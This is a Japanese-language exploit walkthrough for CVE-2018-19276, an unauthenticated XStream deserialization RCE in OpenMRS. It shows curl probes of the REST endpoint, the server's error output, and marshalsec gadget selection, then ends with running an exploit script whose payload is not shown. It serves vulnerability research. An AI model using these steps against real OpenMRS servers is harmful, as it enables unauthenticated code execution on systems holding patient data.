
CVE-2018-19276 - OpenMRS 安全でないオブジェクトの逆シリアライゼーション RCE
From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
ログイン不要で任意のコード実行を可能にする安全でないオブジェクトデシリアライゼーションです。Webservices モジュールの IP 制限ではこの攻撃を防ぐことはできません。

Bishop Fox の Security Associate である Nicolas Serra によって発見されました。
公式ドキュメントを使って、OpenMRS の REST Web サービスがどのように動作するか確認してみましょう。
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
修正を確認しましょう:
次の情報が見つかります:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
彼らは基本的に、POST リクエストが XML の場合に Content-type をフィルタリングしています。つまり、XXE または安全でないデシリアライゼーションの可能性があります 👍
ドキュメントをもう一度確認してみましょう:

なるほど、これは便利ですね。REST Web サービスに XML を送信するとどうなるでしょうか?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
このエラーは非常に興味深いものを示しています : xstream.XStreamMarshaller
Java デシリアライゼーションを使用して RCE を誘発するため、素晴らしいツール marshalsec を使ってみましょう。
利用可能なガジェットを確認してみましょう:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
ここで、XStream のすべてのガジェットを GitHub 検索して該当するものを見つけました。有望に見えるのは ImageIO ガジェットだけです:

試してみましょう:

それです!
python CVE-2018-19276.py
